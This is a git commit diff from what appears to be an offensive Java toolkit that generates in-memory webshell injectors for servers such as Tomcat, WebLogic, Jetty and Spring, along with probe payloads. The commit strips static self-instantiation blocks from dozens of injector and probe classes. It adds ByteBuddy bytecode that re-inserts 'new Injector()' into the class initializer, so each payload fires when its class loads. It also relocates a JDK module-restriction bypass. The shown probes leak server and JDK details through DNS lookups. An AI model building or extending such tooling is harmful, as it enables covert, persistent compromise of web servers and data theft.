refactor: rm static block for better life

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicFilterInjector {
 
-    static {
-        new ApusicFilterInjector();
-    }
-
     public ApusicFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
  * @since 2024/12/27
  */
 public class ApusicListenerInjector {
-    static {
-        new ApusicListenerInjector();
-    }
 
     public ApusicListenerInjector() {
         try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class ApusicServletInjector {
 
-    static {
-        new ApusicServletInjector();
-    }
-
     public ApusicServletInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
 public class BesFilterInjector {
     Logger log = Logger.getLogger(BesFilterInjector.class.getName());
 
-    static {
-        new BesFilterInjector();
-    }
-
     public BesFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -6,7 +6,6 @@ import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
-import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
 
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class BesListenerInjector {
-    static {
-        new BesListenerInjector();
-    }
-
-    Logger log = Logger.getLogger(BesListenerInjector.class.getName());
-
 
     public String getClassName() {
         return "{{className}}";

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class BesValveInjector {
 
-    static {
-        new BesValveInjector();
-    }
-
     public BesValveInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class GlassFishFilterInjector {
 
-    static {
-        new GlassFishFilterInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class GlassFishValveInjector {
 
-    static {
-        new GlassFishValveInjector();
-    }
-
     public GlassFishValveInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
 public class InforSuiteFilterInjector {
     Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
 
-    static {
-        new InforSuiteFilterInjector();
-    }
-
     public InforSuiteFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
 
 public class JettyFilterInjector {
 
-    static {
-        new JettyFilterInjector();
-    }
-
     public JettyFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class JettyListenerInjector {
 
-    static {
-        new JettyListenerInjector();
-    }
-
     public JettyListenerInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class JettyServletInjector {
 
-    static {
-        new JettyServletInjector();
-    }
-
     public JettyServletInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class ResinFilterInjector {
 
-    static {
-        new ResinFilterInjector();
-    }
-
     public ResinFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class ResinListenerInjector {
-    static {
-        new ResinListenerInjector();
-    }
 
     public ResinListenerInjector() {
         try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class ResinServletInjector {
 
-    static {
-        new ResinServletInjector();
-    }
-
     public ResinServletInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java

@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebFluxHandlerFunctionInjector {
 
-    static {
-        new SpringWebFluxHandlerFunctionInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java

@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebFluxHandlerMethodInjector {
 
-    static {
-        new SpringWebFluxHandlerMethodInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java

@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
 
-    static {
-        new SpringWebFluxNettyHandlerInjector();
-    }
-
     public String getClassName() {
         return "{{className}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java

@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebFluxWebFilterInjector {
 
-    static {
-        new SpringWebFluxWebFilterInjector();
-    }
-
     public String getClassName() {
         return "{{className}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java

@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebMvcControllerHandlerInjector {
 
-    static {
-        new SpringWebMvcControllerHandlerInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java

@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class SpringWebMvcInterceptorInjector {
 
-    static {
-        new SpringWebMvcInterceptorInjector();
-    }
-
     public String getClassName() {
         return "{{className}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatFilterInjector {
 
-    static {
-        new TomcatFilterInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatListenerInjector {
 
-    static {
-        new TomcatListenerInjector();
-    }
-
     public TomcatListenerInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -21,10 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
     private Object rawValve;
     private Object proxyValve;
 
-    static {
-        new TomcatProxyValveInjector();
-    }
-
     public TomcatProxyValveInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
  * @since 2024/12/15
  */
 public class TomcatServletInjector {
-    static {
-        new TomcatServletInjector();
-    }
 
     public TomcatServletInjector() {
         try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatValveInjector {
 
-    static {
-        new TomcatValveInjector();
-    }
-
     public TomcatValveInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatWebSocketInjector {
 
-    static {
-        new TomcatWebSocketInjector();
-    }
-
     public TomcatWebSocketInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
 public class TongWebFilterInjector {
     Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
 
-    static {
-        new TongWebFilterInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TongWebListenerInjector {
 
-    static {
-        new TongWebListenerInjector();
-    }
-
     public TongWebListenerInjector() {
         try {
             Set<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class TongWebValveInjector {
 
-    static {
-        new TongWebValveInjector();
-    }
-
     public TongWebValveInjector() {
         try {
             Set<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -14,11 +14,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class UndertowFilterInjector {
-
-    static {
-        new UndertowFilterInjector();
-    }
-
     public UndertowFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class UndertowListenerInjector {
-    static {
-        new UndertowListenerInjector();
-    }
 
     public UndertowListenerInjector() {
         try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
  * @since 2024/12/21
  */
 public class UndertowServletInjector {
-    static {
-        new UndertowServletInjector();
-    }
 
     public UndertowServletInjector() {
         try {

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class WebLogicFilterInjector {
 
-    static {
-        new WebLogicFilterInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -25,10 +25,6 @@ public class WebLogicListenerInjector {
         return "{{base64Str}}";
     }
 
-    static {
-        new WebLogicListenerInjector();
-    }
-
     public WebLogicListenerInjector() {
         try {
             Object[] contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -18,11 +18,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class WebLogicServletInjector {
-
-    static {
-        new WebLogicServletInjector();
-    }
-
     public String getUrlPattern() {
         return "{{urlPattern}}";
     }

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -19,11 +19,6 @@ import java.util.zip.GZIPInputStream;
  * @author ReaJason
  */
 public class WebSphereFilterInjector {
-
-    static {
-        new WebSphereFilterInjector();
-    }
-
     public WebSphereFilterInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -22,10 +22,6 @@ public class WebSphereListenerInjector {
         return "{{base64Str}}";
     }
 
-    static {
-        new WebSphereListenerInjector();
-    }
-
     public WebSphereListenerInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -15,11 +15,6 @@ import java.util.zip.GZIPInputStream;
  * @since 2024/12/21
  */
 public class WebSphereServletInjector {
-
-    static {
-        new WebSphereServletInjector();
-    }
-
     public WebSphereServletInjector() {
         try {
             List<Object> contexts = getContext();

generator/src/main/java/com/reajason/javaweb/memshell/injector/xxljob/XxlJobNettyHandlerInjector.java

@@ -26,10 +26,6 @@ import java.util.zip.GZIPInputStream;
  * @since 2025/1/21
  */
 public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
-    static {
-        new XxlJobNettyHandlerInjector();
-    }
-
     public String getClassName() {
         return "{{className}}";
     }

generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java

@@ -9,10 +9,6 @@ import java.net.InetAddress;
 public class DnsLogJdk {
     public static String host;
 
-    static {
-        new DnsLogJdk();
-    }
-
     public DnsLogJdk() {
         String[] jdkInfos = getJdk().split("\\|");
         String[] result = new String[]{

generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java

@@ -9,10 +9,6 @@ import java.net.InetAddress;
 public class DnsLogServer {
     public static String host;
 
-    static {
-        new DnsLogServer();
-    }
-
     public DnsLogServer() {
         try {
             InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);

generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java

@@ -11,10 +11,6 @@ import java.util.Set;
  */
 public class GlassFishWriter {
 
-    static {
-        new GlassFishWriter();
-    }
-
     public GlassFishWriter() {
         try {
             try {

generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java

@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
  * @since 2025/8/5
  */
 public class JettyWriter {
-
-    static {
-        new JettyWriter();
-    }
-
     public JettyWriter() {
         try {
             Thread thread = Thread.currentThread();

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java

@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
  * @since 2025/8/8
  */
 public class ResinWriter {
-    static {
-        new ResinWriter();
-    }
-
     public ResinWriter() {
         try {
             ClassLoader loader = Thread.currentThread().getContextClassLoader();

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java

@@ -7,11 +7,6 @@ import java.util.List;
 import java.util.Set;
 
 public class TomcatWriter {
-
-    static {
-        new TomcatWriter();
-    }
-
     public TomcatWriter() {
         try {
             Set<Thread> threads = Thread.getAllStackTraces().keySet();

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java

@@ -7,11 +7,6 @@ import java.util.List;
 import java.util.Set;
 
 public class TongWebWriter {
-
-    static {
-        new TongWebWriter();
-    }
-
     public TongWebWriter() {
         try {
             Set<Thread> threads = Thread.getAllStackTraces().keySet();

generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java

@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
  * @since 2025/8/8
  */
 public class UndertowWriter {
-
-    static {
-        new UndertowWriter();
-    }
-
     public UndertowWriter() {
         try {
             Thread thread = Thread.currentThread();

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java

@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
  * @since 2025/8/10
  */
 public class WebLogicWriter {
-    static {
-        new WebLogicWriter();
-    }
-
     public WebLogicWriter() {
         try {
             Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java

@@ -11,9 +11,6 @@ import java.lang.reflect.Method;
  * @since 2025/8/10
  */
 public class WebSphereWriter {
-    static {
-        new WebSphereWriter();
-    }
 
     public WebSphereWriter() {
         try {

memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java

@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
 
 import java.lang.reflect.Field;
 
-import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
+import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
 
 /**
  * JDK9 引入的 module 系统，只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制，使我们能像低版本一样任意反射获取方法
@@ -33,24 +33,12 @@ public class ByPassJavaModuleInterceptor {
      * Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
      * Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
      * <br>
-     * 在静态代码块中执行 byPassJdkModule 代码
+     * 在默认构造方法中执行 byPassJdkModule 代码
-     * 值得注意的一点，builder 是不可变类型，所以都是需要重新赋值，例如以下代码示例
-     * # code that not work
-     * builder = new Bytebuddy().redefine(class);
-     * builder.visit(something);
-     * builder.make();
-     * <br>
-     * # code that work
-     * <br>
-     * builder = new Bytebuddy().redefine(class);
-     * builder = builder.visit(something);
-     * builder.make();
-     *
      * @param builder bytebuddy builder
      * @return new builder with bypass
      */
     public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
         return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
-                .on(isTypeInitializer()));
+                .on(isDefaultConstructor()));
     }
 }

memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java

@@ -0,0 +1,46 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.implementation.bytecode.ByteCodeAppender;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
+
+import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
+
+/**
+ * 在静态代码块中添加构造方法调用例如：
+ * static {
+ *     new Injector();
+ * }
+ *
+ * @author ReaJason
+ * @since 2025/8/12
+ */
+public class StaticBlockSelfConstructorCall implements ByteCodeAppender {
+
+    public static StaticBlockSelfConstructorCall INSTANCE = new StaticBlockSelfConstructorCall();
+
+    public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
+        return builder
+                .invokable(isTypeInitializer())
+                .intercept(new Implementation.Simple(StaticBlockSelfConstructorCall.INSTANCE));
+    }
+
+    @Override
+    public Size apply(MethodVisitor methodVisitor,
+                      Implementation.Context implementationContext,
+                      MethodDescription instrumentedMethod) {
+        methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName());
+        methodVisitor.visitInsn(Opcodes.DUP);
+        methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL,
+                implementationContext.getInstrumentedType().getInternalName(),
+                "<init>",
+                "()V",
+                false);
+        methodVisitor.visitInsn(Opcodes.POP);
+        methodVisitor.visitInsn(Opcodes.RETURN);
+        return new Size(2, 2);
+    }
+}